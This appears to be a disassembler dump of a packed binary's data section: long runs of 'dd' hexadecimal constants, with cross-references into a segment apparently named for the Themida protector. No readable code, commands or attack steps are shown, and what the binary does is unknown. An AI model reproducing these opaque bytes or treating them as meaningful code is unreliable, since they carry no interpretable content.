51A2458Ah, 74C0D5F2h, 0DAA459C2h dd 68A15CDDh, 0ADE78286h, 152A54A8h, 0DC30BACCh, 9E2C418Dh dd 0FC69CE52h, 0A5B99783h, 0FA31EFE2h, 5AA0D9F9h, 0AEA459BDh dd 949A0D79h, 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h dd 985E0001h, 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah dd 5D92BE29h, 24294396h, 1957DFA0h, 515E004Dh, 532A54A8h dd 742FD775h, 0CDA152BDh, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h dd 5AA0D9F9h, 0AEA459BDh, 949A0D79h, 651A2320h, 8481328Ch dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0FDA2458Ah, 1DC9953Bh dd 919197B9h, 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh dd 1523EDA8h, 0A055458Ah, 9025862Dh, 51A24586h, 7332A328h dd 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh dd 9E7F54A0h, 0AD66C666h, 1D5FDFC8h, 96AE3801h, 152AA8EDh dd 0C20E458Ah, 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah dd 9125AB54h, 51A24593h, 152A5D11h, 0D453B28Ah, 1FAF5B7Ah dd 0E0A2458Ah, 93E25610h, 9191EF4Bh, 19577F03h, 305E3803h dd 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h dd 515E004Dh, 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h dd 91D1B22h, 0E173BA8Ch, 9FA7FEF8h, 57BE72C5h, 0D6A08557h dd 5DDF6E20h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0E9A2458Ah, 152A54AFh dd 730BD775h, 452652BDh, 1E28C820h, 0EA2C489Fh, 0FB2BF55Bh dd 3186949Bh, 59622E85h, 0A58050ACh, 2C89EFAEh, 0E957DDA4h dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh dd 0E96F93A4h, 51A2458Ah, 87D5FE04h, 57B76007h, 17868C23h dd 0DB2FEF49h, 133663E7h, 0E9C49475h, 0BE4CBD28h, 7A088600h dd 68A358D5h, 14292476h, 1DE89D54h, 0BD29108Ah, 75D6902Bh dd 0DAAA3001h, 50ED58D5h, 51A24576h, 0EA80F8A8h, 4487C818h dd 0B9E2DFAEh, 0DC088558h, 91D1B32h, 3771BA8Ch, 73E39410h dd 0FB63CF21h, 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h dd 742FD775h, 0DDA152BDh, 0FB637726h, 2265CE25h, 825D4396h dd 0E4AAECCEh, 9028EEECh, 19577F02h, 305E3803h, 0DCD61123h dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh dd 732A54A8h, 376B7732h, 5AB0D903h, 0AEA459BDh, 9592327Bh dd 0FD09234Bh, 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h dd 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h dd 0B824FDECh, 8FA7FFCEh, 57BE72C5h, 0A09A8757h, 0FB0E0320h dd 2265CE25h, 825D4396h, 0D8ACECCEh, 2C89EEECh, 0E957DDA4h dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah dd 9CC0D5F2h, 96A459C1h, 152AA8EDh, 2429458Ah, 1957DFA0h dd 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah dd 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah dd 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h dd 5394CE25h dd 0DCF14396h, 96DC132h, 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah dd 60D558DDh, 9F38C882h, 462C48EEh, 1637DF07h, 0C6D552B4h dd 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh, 57BE0350h dd 80B0D9FBh, 0AEA459CDh, 0E96FDD7Bh, 51A25863h, 195FABA8h dd 0DCAA3075h, 96CB232h, 0CB2F168Ch, 1336133Dh, 142B9675h dd 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 8D000030h dd 1534499Dh, 23E4B806h, 85890000h, 615090Dh, 0E8h, 0D055800h dd 89000000h, 23E4E903h db 2 dup(0) word_5EE6A6 dw 0 ; DATA XREF: Themida_:0057CE78o dd 157h dup(0) db 2 dup(0) word_5EEC06 dw 0 ; DATA XREF: Themida_:00579D2Co dd 1Dh dup(0) dword_5EEC7C dd 781h dup(0) db 2 dup(0) word_5F0A82 dw 0 ; DATA XREF: Themida_:0057A4C0o dd 0 dd 9E80000h, 5B000000h, 0B79F10DDh, 5F424665h, 820F6050h dd 0 dd 9E9h, 0DAF60100h, 2DAA3454h, 596135E5h, 0C281665Fh dd 0C781D00Ah, 0E6DDh, 6BB380B9h, 6811h, 8B660000h, 0A8BA58CEh dd 8B3E1DA0h, 8B660734h, 0F5F681D1h, 507D39B8h, 0A6C38166h dd 0F6815BFDh, 462B5CA4h, 0FBD18166h, 5EEE815Ah, 0B623D6FBh dd 8A6056FEh, 0FE8B66DEh, 7048F61h, 13E8h, 0D91AF300h dd 75086E98h, 2764797h, 88101048h, 38D6A006h, 5AD78B66h dd 8E9h, 0CBD45500h, 0A3C25428h, 4E8832Fh, 2C26C381h, 0F88132ACh dd 0FFFF1A00h, 13850Fh, 8B660000h, 2AE9D0h, 1D610000h dd 5EDC9724h, 457ED5C2h, 8B66605Ah, 58E0FF9h, 0BB000000h dd 27F8E7C3h, 0FF69E961h, 96A9FFFFh, 5886D2DFh, 0A1DF3B7Ah dd 13E8h, 3D054B00h, 1AA202Ch, 6146023Ch, 2DDBF59Dh, 0C6E4244Ch dd 5759DA8Ah, 8F0F53h, 5E000000h, 1CC1815Eh, 68000066h dd 1955h, 5F6BD680h, 8D0F6050h, 0 dd 5E615B56h, 8A0F31FFh, 4, 3531BA66h, 0FBBB6658h, 0A1F081D1h dd 0E87F881Fh, 0Ch, 33DE1126h, 0EAB8A9DFh, 7882F820h, 6A56F681h dd 815B2FCFh, 0CD7905C0h, 2D68122h, 81615BA8h, 3383ABE8h dd 0D88B606Fh, 0F018961h, 1C84h, 11E800h, 0F0450000h, 0F4DCB5FCh dd 4914D6E4h, 11C6054Ah, 0BB30697Eh, 29F563BFh, 9E9815Ah dd 663AF74Ch, 812384BEh, 0F74C05C1h, 0CE81663Ah, 0EF835DD4h dd 79850F01h, 0E9FFFFFFh, 5, 8D4B5672h, 0FE9E1h, 584B0000h dd 47CAh, 2 dup(0) dd 0E33E900h, 0CF680000h, 0E9061C74h, 0FFF90C1Eh, 1C75E168h dd 0C14E906h, 9068FFF9h, 0E9061C76h, 0FFF90C0Ah, 1C772368h dd 0C00E906h, 0B768FFF9h, 0E9061C7Ah, 0FFF90BF6h, 1C7E1568h dd 0BECE906h, 0ED68FFF9h, 0E9061C7Eh, 0FFF90BE2h, 0CCA91995h dd 9362D257h, 0E4B1219Ch, 9C79E94Fh, 0E2B32387h, 67CBC6C5h dd 0AE111EF7h, 6CC8573Eh, 0A90A19FCh, 636B5C39h, 9A80B9E0h dd 79C34416h, 6056C624h, 0BD81F153h, 3392F374h, 1086F2EEh dd 0F793BC8Dh, 3A6A0E9Ch, 1A69A124h, 23F4169Ch, 3697161Bh dd 93DA4A8Fh, 4F603116h, 9A947647h, 89F97FB4h, 0EBDAB08Dh dd 1693DAA2h, 0F9F9E44Bh, 0DA3960E3h, 0FBC41693h, 0B4464567h dd 28C2EDA2h, 0BD2D006Dh, 43889Dh, 98C60000h, 93F5E42Dh dd 0D4B68716h, 0E30BAB60h, 83ADDE0Eh, 29351AACh, 9BE3BE9Ah dd 73D2BF16h, 8BEA2C03h, 1693D042h, 9959842Bh, 6BAB1B98h dd 0D0F9CC92h, 9B1693D0h, 48B5E08Ah, 0D09DBD3Ch, 19h, 0DF624FECh dd 0ADF44F6Fh, 501086F2h, 862F8B7Fh, 2D000009h, 5436A604h dd 57C724E0h, 81F1525Fh, 0C2F2C6F4h, 0F6CEDBFCh, 30ABB5DDh dd 0D9DA045Ah, 0A500EA5Ah, 169B236Dh, 0D6FFDFF0h, 360DB6E7h dd 1693C513h, 8DEEC9DAh, 0B87614A9h, 0EB5BDDD6h, 2479A4FFh dd 0D6F1693h, 2888999Dh, 0E777EB8h, 2BE6449Fh, 84696E84h dd 183B27E4h, 50DDD8B2h, 0F29DBDC3h, 5F3059ECh, 0CA2E1693h dd 35D5E65Ah, 4E05h, 0BAB2100h, 3D903DBh, 0D96B30D2h, 5DC886DDh dd 10865934h, 682B594Eh, 8E324893h, 68AE1EA1h, 0F3D2B897h dd 169B8147h, 2442DF6h, 0B6E83FE7h, 82AF9D99h, 0CBFA9000h dd 1693E782h, 3019C46Bh, 9DBD2ECDh, 0FE53h, 0CD288900h dd 2485AD5Dh, 525F57C7h, 9D9680F0h, 0C131921Eh, 38BBA8EEh dd 0F2256CD7h, 0B73B1086h, 0C27E4F47h, 7A37DEF1h, 1086F773h dd 0FF960665h, 5B63D330h, 65D53081h, 86F799C0h, 0E050D710h dd 5667D9B6h, 50F07AB4h, 1738A804h, 1888EA47h, 98DA093Fh dd 9F4BBDDAh, 269DBF9Dh, 1086B0E3h, 0B0749D28h, 26F71086h dd 0E2C1A97Ah, 169C473Eh, 65D5545Dh, 0AAE5C31h, 0AA4E5C39h dd 397A647Ah, 60D02DB9h, 94765936h, 8BCA0629h, 0F6EC310h dd 0FACBEB9Fh, 61E4FAE4h, 1CABF338h, 0E656D6C3h, 1AF0DFB0h dd 0CC319919h, 0CDB46FBAh, 2566AB1Ah, 34051CABh, 0D261341Bh dd 0F37D0070h, 0ECB1C2C2h, 0ADC6ACAh, 93F30000h, 5CDD5223h dd 9B1A09ECh, 53D54A2Bh, 9D1D12E3h, 5853482Dh, 950565h dd 0B95CCC33h, 0FB9A0A6Ah, 0BE57C724h, 577A4915h, 16169A86h dd 0C624E755h, 1370BF56h, 0AB66D2A3h, 4003DB0Bh, 169BF5F0h dd 34A4062Bh, 65516256h, 93F1BFDEh, 0E252B116h, 0CC3CBFB4h dd 11BC6DCAh, 0EC178D2h, 0BD1CAE3Bh, 0EA369Dh, 63740000h dd 0FD1D599Eh, 0B08670CDh, 0D839627h, 60A91C22h, 0B169368h dd 24EC503Ah, 525F57C7h, 2F9680F0h, 1086F7CEh, 0EBF363E0h dd 0BFF767C6h, 0E2511CCEh, 0C4EDF161h, 1816F464h, 21A2EE92h dd 0A78885B1h, 642C97h, 3809169Ch, 40B00D26h, 67198156h dd 100095A4h, 7A404B3Fh, 0E5419EC6h, 0B08935E0h, 9C96BF9Fh dd 58814497h, 2316936Fh, 0CFF84512h, 3E055733h, 108B6192h dd 2970D309h, 0D41CAB6Dh, 6D2E73D2h, 0FCCD1CABh, 9A8737D3h dd 0B5258B17h, 8CA39C9Ah, 910181B2h, 5BCB2F04h, 0C2FB36C2h dd 2B87ADB1h, 9CAh, 5C39A905h, 23F262C7h, 0B441B10Ch, 0EC89F97Fh dd 0B243B337h, 77FBB6F5h, 3EC16E07h, 7CF827CEh, 39BA690Ch dd 0B39B2CC9h, 9A87C910h, 933B416h, 0BF56C624h, 0A616969Bh dd 3EEB9F70h, 84A84DBDh, 72E2624Fh, 729F4B44h, 7C75A111h dd 0ADAF8FFFh, 86F2F316h, 0C1A97A10h, 9D180BB2h, 6FAB3EB8h dd 3F2BC294h, 0D959A559h, 7F502D69h, 157CE45Fh, 3001169Bh dd 0DB15576Eh, 0EA8EBC59h, 8D21A4BAh, 90B94732h, 4DF177BFh dd 0A81B411Dh, 0A576A261h, 0D4F3B0Ch, 6F34CB36h, 0BD8192A3h dd 0EE87F774h, 0CB52C241h, 1E7D839h, 1B2C88AEh, 0B4000009h dd 0F42BCA3Ah, 0C3700575h, 0EC43D242h, 0AA791C8Ch, 5E3DD848h dd 0A010722Dh, 69D95ED5h, 0A515978Ch, 70E063D0h, 992C32A5h dd 169A8470h, 24C27AFBh, 0D95F57C7h, 0C8E9F525h, 82BA026Ah dd 0FB0DA403h, 0A52036D4h, 169C0821h, 565B6334h, 0A08F66D6h dd 0ADAAB424h, 4123DC80h, 0C0AE0ABh, 93C060A9h, 30CD1016h dd 0D6AA1692h, 0B12D98A6h, 0B4108EB0h, 77FADBE3h, 43863D4Dh dd 2A1CACA3h, 93C63E19h, 7081AB5Fh, 0B2DAA313h, 0A9B1C67Dh dd 888278Bh, 0E7470000h, 30919E77h, 7FFE35C0h, 37B9660Fh dd 81012EC7h, 64278411h, 0BC59C929h, 5900067h, 0B75ECE2Eh dd 0FA9B0B68h, 1B3E05C9h, 0E2169A85h, 0BAB1B21h, 4C4003DBh dd 0AF169BF2h, 0CB930382h, 93F2D1F8h, 0DF8B9C16h, 0E3D0EEBFh dd 0D8C6F060h, 93F2246Dh, 0D9F6C716h, 8BEE0331h, 0D8235123h dd 69460E5Fh, 6CDC5C55h, 466BEF7Eh, 9B9872E2h, 0A70A616h dd 8C370737h, 1693611Dh, 60D03360h, 61A2E75Eh, 78491693h dd 0B5645F57h, 0CC3CBD0Ah, 61418C29h, 5B1E1693h, 5B0132Bh dd 38169361h, 20A18E67h, 61DD04BFh, 0AC131693h, 9B05FA3Ch dd 9899A58Ah, 906DA919h, 8CB93CFAh, 0D4169360h, 3B787A65h dd 67A446B6h, 2C039202h, 0DA595DCDh, 16936603h, 0F0777F5h dd 0E82E9E22h, 14B31A8Fh, 1EEF2797h, 3AA51431h, 0D9BC2C8Dh dd 0B5DC6775h, 0D6169366h, 93662A6Fh, 60C0D116h, 42F59B4Fh dd 2E0171F6h, 6669B510h, 3B0C1693h, 3AAA0E23h, 1181E7FCh dd 63072825h, 81F2E3A9h, 4D942F5Dh, 3016939Ah, 0D3CF381Fh dd 6D09B456h, 1A82FDBDh, 9B191A44h, 0A2577A2Bh, 5166AF1h dd 0C6832A65h, 121F6E63h, 1C9E9h, 0BABBD00h, 0E44003DBh dd 79169C17h, 91BE2E8Ch, 83C68FCDh, 979FEBBh, 7F27300Dh dd 1714F650h, 1BA70894h, 13EC2A9Ah, 0AD82133Ch, 5DD8DE4Eh dd 91D8C096h, 0E5124305h, 0E3268419h, 1E92B78Eh, 48599DDAh dd 0A10C8367h, 56E26051h, 494D62D2h, 16959674h, 99B6268Ah dd 54C427FCh, 0F929D862h, 31A1071Ch, 3CE6282Dh, 0FF08A847h dd 0B310210Bh, 8BA8B243h, 61D2B828h, 476C72E2h, 9D9773E3h dd 4D3DC116h, 0FEB1380Eh, 0C939BFF4h, 0A8E7F0CDh, 4F2C47C6h dd 0C92AE783h, 467BC59h, 77BCA294h, 0BD9284F4h, 0C814E3CDh dd 0CEBFF767h, 2366DDE1h, 68EF6186h, 9278E84Bh, 0D6781D2Eh dd 66574701h, 7B6FB376h, 0A2BC2C8Eh, 0FCC009BCh, 9C1EEF61h dd 15AB742Ch, 2B37B472h, 4BC9A18Eh, 0D5F21ADDh, 5F26F421h dd 9492B78Eh, 4859EF61h, 0CF764867h, 0EF619486h, 8DD1A475h dd 0DD68C924h, 0EF6194B4h, 4D496637h, 949DC47Fh, 4F60EF61h dd 2A898A60h, 94D7FAC9h, 6996EF61h, 0A7B79808h, 6194F51Ch dd 88A778EFh, 0AD15958Eh, 0FCC7046Dh, 0EF6163D5h, 0C0B08798h dd 744A658Bh, 4C4ABA3Fh, 969D9773h, 669CA94h, 46EA2F96h dd 8091EF61h, 0C700AFEAh, 507FFC64h, 6EB1D72Eh, 0B7347D41h dd 0E3624F47h, 654A4373h, 0BA39E685h, 1BDE4C4Ah, 2170D3EBh dd 0DCEF61FFh, 76F52ACBh, 421585EAh, 3DFC21BDh, 4F4768EEh dd 0D656E262h, 614D4966h, 37B413BAh, 82012EC7h, 0E3962412h dd 8518ABB3h, 88EF61E9h, 0F351DEB7h, 93C99383h, 61E9E930h dd 0E78394EFh, 0DE0EB1h, 54EF50B3h, 0EF61E90Dh dd 1AF0DFF0h, 0E9288144h, 6233EF61h, 0C724A593h, 6A45B53Bh dd 2B5B1B8Bh, 577A4913h, 161086F2h, 74CF6505h, 169C10BCh dd 9DC47F41h, 601693ECh, 555E604Fh, 8ACF76D7h, 711693ECh dd 39E68FA0h, 0DD4B4BBBh, 6ED5E919h, 10890476h, 85003607h dd 1CAD4458h, 2D316115h, 3279262Fh, 0ADE959D4h, 0C5A107D0h dd 3BB312F8h, 3A1AB1F0h, 0DD5C5569h, 0A28F7D6Dh, 0DC05C021h dd 9F02B9F0h, 0CC15B08Eh, 0AF02B9F0h, 0BAECB19Eh, 0A5ABB198h dd 4F4338Fh, 5BDB0000h, 94150AEBh, 63E25124h, 0AB0D22F3h dd 65C55A3Bh, 8B20F5h, 0D8BD2D8Dh, 0A174E44Bh, 33C23292h dd 660F7FFCh, 8FD2715Dh, 6E169A88h, 0BAB8FADh, 0C84003DBh dd 95169C1Fh, 0EB339284h, 941693DFh, 1297B21Dh, 9A9DBD4Bh dd 0B4h, 91D8C790h, 81766A57h, 624F31E9h, 57286EDEh, 0F29508B3h dd 79671086h, 78C69EB7h, 0F58AFE67h, 27971415h, 29991A17h dd 777F4EDh, 83334228h, 0DB886B6h, 1086E0CCh db 0AFh byte_5F156D db 9Eh, 98h, 8Bh ; DATA XREF: Themida_:00579CD4o dd 1489C028h, 0C4E86934h, 0DF9C0AEBh, 64CD8FAFh, 0E42D9808h dd 87108627h, 0C382D4B6h, 10862796h, 51625465h, 0F24B8AF2h dd 0A22EBE2h, 996A5025h, 0E05C5569h, 0AD9DC47Fh, 4F601086h dd 11B48A60h, 1086ADACh, 78E8446Dh, 54C4253Eh, 1E2F8F7Bh dd 52709D18h, 11781087h, 0E313B09Eh, 524568DBh, 0D7E81086h dd 0F1421C3Eh, 5D842191h, 20108652h, 1E3F5B0Fh, 5B000001h dd 70E0624Fh, 3060209Ah, 0F227972Eh, 6FC4169Bh, 0A7989E0Eh dd 55C1A890h, 0CFE27E7h, 869B9BACh, 7AE4B121h, 8FB8E164h dd 56431693h, 5E2F67D7h, 5E1F9971h, 0A023102Eh, 0DA045A30h dd 3E757D9h, 938F7D98h, 5C09E16h, 16938FDCh, 8F43863Dh dd 192A1693h, 0C60C9EA7h, 7E32E79Dh, 3405B951h, 3D598302h dd 278B1693h, 6F967FB7h, 55E40E90h, 44B4367Dh, 0CFFEB752h dd 93A0B614h, 6F2AC030h, 91A40940h, 922C9DBDh, 0 dd 4DA0AABh, 86F21841h, 35B6E310h, 0DFD747A9h, 0F8D5C1EEh dd 0DFFDDFD7h, 86F23D64h, 6ED3C010h, 0F839D1FEh, 7D481677h dd 1086F254h, 7A9F0617h, 11086F2h, 30761F30h, 5D7F5F8Fh dd 8367D754h, 86F24518h, 0D0716610h, 0EDC1FBCFh, 85960AE0h dd 0AC8ACB91h, 41E83D21h, 0A1980A3Bh, 0AC83EFE0h, 0CABEDFBEh dd 52B01087h, 3BBFB4E2h, 51D6CBCBh, 6A55C4E1h, 0F2DD4C79h dd 536B9B5Ch, 25EBB82h, 0B7381E5Dh, 0BC826847h, 87597409h dd 4F26F710h, 57C724E9h, 58C82A87h, 8B89615Eh, 0D0A51596h dd 4EF516EAh, 1086F20Bh, 745229F2h, 0D24FD3F9h, 0CB0CD2FDh dd 8A62254Bh, 720C2B50h, 0F1CB13FFh, 7BE806Ah, 169B46D3h dd 268D899Ah, 169334E7h, 3590CE90h, 169334ECh, 0E5CCBE8Fh dd 35BBF8FAh, 0EFCD1C5h, 0BDE41A9Fh, 65A29Dh, 0AB760000h dd 0C838BF0Bh, 0B7E6F1CEh, 6D5236CBh, 0E4FAC4EBh, 0B9FD6DCFh dd 7058F3C4h, 34686D7Fh, 61CB6756h, 0A172169Bh, 2B8AA775h dd 83AC1C9Fh, 6591BCE7h, 61C71693h, 50ACC5F1h, 0E151B3E0h dd 0F6E950B5h, 3A773DEDh, 714E48B8h, 65B3D66Dh, 693A1693h dd 4BA71681h, 751585E6h, 0BDB0B336h, 0C3399Dh, 244D0000h dd 525F57C7h, 9D9680F0h, 0A390AE1Eh, 765AE1Eh, 2839F397h dd 4DBD3FCBh, 4373E346h, 7C59654Ah, 0C42D9D78h, 0E0AB5FECh dd 862D98E5h, 0BD2D8E10h, 78E84BD8h, 0DC0CAC3Eh, 2BFB4302h dd 1B18169Bh, 5E422898h, 3E02A84Dh, 4D95300Eh, 30108B7Ch dd 25118103h, 0F73FAF0Ch, 38062906h, 84EB77FBh, 0F05A3B14h dd 7E3257EEh, 0E8B91CABh, 41B11102h, 0C30E84BCh, 6DD5DFB1h dd 196h, 0A84DBD39h, 0EF86F67Bh, 0C055C540h, 0F89D0D73h dd 0BE57C72Bh, 8BEFA2E9h, 42A57A1Bh, 90EC43D2h, 5DDE5520h dd 8FBF08EDh, 9A8CED34h, 2D0F9016h, 0BF56C624h, 0D2A31370h dd 6174F88h, 0ABDE12B6h, 0F3970768h, 0DB0BAB3Fh, 0F5F04003h dd 0BC8D169Bh, 0F1D2FB7Ah, 999B1693h, 0BDAD1D98h, 0D507EBD2h dd 93F12B6Eh, 29C1D216h, 0BD1CFF6Ah, 0A9859Dh, 92C30000h dd 0E7285781h, 0E84C3EB6h, 5F57C724h, 364F052h, 2E8EA393h dd 0A88778BEh, 9D99096Bh, 2C878FA0h, 1086F7C1h, 11E454D7h dd 531A122h, 0CB93C373h, 9BF134F8h, 8D683916h, 1529591Dh dd 8B9185AEh, 0DBE3B410h, 0E252B001h, 422069DCh, 0FACB1CAAh dd 2F9F2310h, 0E959D946h, 0C3E9D614h, 1FA391B1h, 0BEh dd 0B045B511h, 0E78EFE83h, 0A84DBD38h, 0F085F57Bh, 0A64FBF43h dd 0A307BAF1h, 6ACD6233h, 0A8041BFAh, 65C65D38h, 0A7B720F5h dd 9A8CF51Ch, 45F77816h, 8856C624h, 6155C52Bh, 507FEF50h dd 0E744DBBAh, 4F9A9E77h, 0F293B68Dh, 4DF81086h, 1086F204h dd 596AD6E7h, 0DF61CE7Eh, 5E0C8F95h, 0D8DE4EADh, 1DF868CBh dd 0A5B9E98Dh, 1CAD9EB7h, 0A9D9B3Ch, 803ECFAFh, 5436195Bh dd 0A3025F69h, 0B3377C16h, 26F7A743h, 108003F0h, 57D8D985h dd 0A50603E7h, 7F820135h, 0EE544113h, 0C6F5887h, 0C92AF99Ch dd 0E4445D59h, 0EC496A74h, 0A5A08E7Ch, 7DFEC9F4h, 38BB680Dh dd 366CEC8h, 42000000h, 0CA244B2Fh, 0E4475C5Ah, 0D3314274h dd 0B93E3363h, 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h dd 0EA4F6452h, 68783C7Ah, 0B18h, 53242C89h, 0C381E389h dd 4, 8704EB83h, 895C241Ch, 8957243Ch, 4C781E7h, 81000000h dd 4EFh, 243C8700h, 242C895Ch, 1C727168h, 243C8B06h, 4C481h dd 0B6680000h, 8900007Bh, 4832424h, 525D0424h, 24048157h dd 14E239C4h, 0C4EA815Ah, 8914E239h, 0FF5A0855h, 815D2434h dd 4C4h, 243C8B00h, 5E08950h, 4, 8704C083h, 0E95C2404h dd 0FFF8FE02h, 34CAE0D2h, 3A693830h, 0E412EB5Bh, 7FD0B8E4h dd 0C503061Ch, 10BAE0FFh, 547308ADh, 0E2503FE2h, 153C2E33h dd 0AEC306E5h, 2F8D1F77h, 8949505Ah, 85F1216Bh, 6A0667E0h dd 48F5E09h, 85034296h, 8AE84B01h, 97661B6Fh, 0D07B6FE5h dd 498338CEh, 876575A2h, 521A0E7Ah, 0DC9B4BC1h, 0BE84CE2h dd 3F000000h, 4696EE60h, 506A61BDh, 8C0F15ADh, 3, 58D2BF0Fh dd 8820Fh, 8D0F0000h, 2, 0C0816160h, 5B1Bh, 68F9B70Fh dd 16A2h, 4880Fh, 0BB660000h, 8B5E23C9h, 0B70F6008h, 6150B0D1h dd 27D4E981h, 8B6648E7h, 1AC181D0h, 80417F2Fh, 0E981D5C3h dd 1CA55314h, 7DBF51F5h, 8F1A58EBh, 810F00h, 83000000h dd 8B6603E8h, 13E948FAh, 0B000000h, 6391A30Ch, 4CD21D2Fh dd 6CA23863h, 0C80BDA87h, 0EE8309D2h, 0A8850F01h, 0FFFFFFFh dd 16E9D3B7h, 0C4000000h, 16359Eh, 4 dup(0) dd 551E900h, 2F8F0000h, 0E849D6BFh, 27869D78h, 0EF51DEB7h dd 2989967Fh, 0CCBFDCB9h, 740171D1h, 2DC838BFh, 6F0676F6h dd 42D343C0h, 0D3F6CD91h, 9A169A73h, 0C72463D9h, 0D5EAD65Fh dd 80AF9314h, 0AD1D9D96h, 68D85BC8h, 46B6352Eh, 6EDE6350h dd 1D6B828h, 0B32B8D80h, 54291A31h, 0BADA7BC0h, 13BAF595h dd 0D2CF37B4h, 65F8F16Dh, 1221F4DBh, 7CB342B2h, 8DA69000h dd 0AB1B9E2Ah, 2B39284h, 2090ECDBh, 0ED5DDE55h, 11380BD1h dd 0DC10867Ah, 27F51FCBh, 5238A80Ah, 867A2B73h, 4DBD3D10h dd 67D75849h, 53C3422Fh, 7C6756DDh, 4405B841h, 97A8A1B9h dd 8D3Fh, 0C7245B00h, 0EE558757h, 1086F2ABh, 0DB76F0E9h dd 0AB6712Fh, 575FA39h, 0E04E3C11h, 868C3E65h, 14BB3A10h dd 0A897C835h, 0D1746A97h, 10868088h, 0B6268673h, 97A08F80h dd 5F9174F2h, 2814F64Ch, 1, 55C52404h, 0A9F05389h, 0EB1086F2h dd 9290DB39h, 0A08D3336h, 0EA80AF1Fh, 42B2372Ch, 78D95F54h dd 48BADF66h, 70411086h, 86488CD5h, 805E6F10h, 86489CC5h dd 614E5F10h, 8B32B935h, 714DBD3Ch, 0B951C140h, 76E645DAh dd 0C624999Fh, 0EE536056h, 4670E062h, 5B586649h, 8A8466D6h dd 0D2716BEFh, 1086F28Fh, 0D6565D6Eh, 0AB5F3066h, 8CEED904h dd 93F1421Ch, 1B34A407h, 2D48221Bh, 4AB21021h, 201BEDF2h dd 0FA90BF35h, 4C4ABA39h, 0EB4AD657h, 7C423B7Bh, 86A080C9h dd 755A6B10h, 0E7F5C741h, 86A0355Ch, 3E7B810h, 0F528218Ch dd 3B97A86Dh, 0A0h, 56C6244Fh, 0B4357E60h, 0F2A9F053h dd 43541086h, 89552A6Ch, 86F297BAh, 0A5455610h, 9D990964h dd 80B62684h, 75A11173h, 0EFF4DBD2h, 0DF13BA21h, 86E773D2h dd 0FD3916h, 0D949A96Ah, 0E151AC05h, 35B56A09h, 60E0D1C5h dd 64C5EEF0h, 1DCDC2F4h, 0AF1E99EFh, 0A81C3F9Ah, 66A597h dd 8EA30000h, 28AAC72Fh, 0C1EE2209h, 33D7A8EEh, 0B68D4FFFh dd 1086F293h, 70A1495Ah, 0C29CA212h, 86F2DE03h, 41883B10h dd 2C1086F2h, 0C394A51Bh, 8C96B217h, 0C745251Dh, 0ACEA5ADAh dd 0D8EFDE4Bh, 1D0BEA5Ah, 6155C524h, 86F2BAE2h, 8E41B810h dd 0A81A2EBBh, 0EB697h, 0BFF40000h, 51F4CA3Ah, 1086FE08h dd 0D44822F3h, 8461C924h, 0AC5F275Eh, 0F060DDD6h, 0D8E6C9C6h dd 0B1E555DBh, 0F3002EDCh, 0FF62090h, 359037A6h, 0B68A30C5h dd 0F87BB886h, 979F0F6Ch, 0BF8D89A6h, 86EBDD04h, 0A08FA010h dd 75D174CAh, 8169BE5h, 204C813Fh, 54B0F129h, 0B2E4CBE4h dd 43D242C1h, 171F8FECh, 933C779Ch, 218CFD16h, 61E445A6h dd 16933C38h, 42C1F2C3h, 0B18FDD2h, 0E5FE38A8h, 69201686h dd 0E94A7D30h, 0A4099C79h, 2C9DBDE8h, 11Bh, 0DB0BAB00h dd 56FCD903h, 2A2457ABh, 84F4CFBBh, 39169B21h, 0B6352E68h dd 380AF46h, 2D8EA393h, 7CBE79BDh, 5046B637h, 0B9248B7Fh dd 213DAD0Eh, 0AA40B010h, 0F553D6CBh, 53D99DBDh, 0AD000000h dd 56ED0EABh, 1086F233h, 0F8C6E9BAh, 86F2244Dh, 0C0F6C790h dd 86F21C45h, 7F5D5F90h, 86F29DC4h, 9B4F6090h, 0B485C9F4h dd 0E60BBA84h, 851086F2h, 2B89AAB4h, 39B89CBBh, 0C3E3782Dh dd 98684C27h, 66000000h, 3B7BEB4Dh, 3B777542h, 2B569256h dd 0BABDB3Fh, 0D8D903DBh, 0D5AAEC5Ch, 1E959DEh, 9C0616A2h dd 20162716h, 0B540B013h, 0C910B3A9h, 0B41693E6h, 0A90A07E3h dd 5476FD39h, 1C1693E6h, 2685426Dh, 99A5159Ah, 93E4E72Ah dd 9AB58616h, 9D0D6FC4h, 0A7C6A499h, 2F0F3FFFh, 0B665F994h dd 6BAB7C10h, 9185F576h, 16DC03B2h, 5F753841h, 522B6BDBh dd 830AD85h, 58883862h, 0F2EBF86h, 0ABAD1A92h, 0CB0FF118h dd 288F7C02h, 0AE817EB8h, 0FEC3590h, 0BE8F02CBh, 4F380491h dd 0F293B68Dh, 70CD1086h, 87391600h, 89A6169Ah, 0D707B7E1h dd 73A13C07h, 132416A3h, 3DAD0E23h, 0F868CB58h, 8A9337BEh dd 6ACD26ACh, 44A7BCFAh, 6E27E2D4h, 0C910B33Fh, 0B406C368h dd 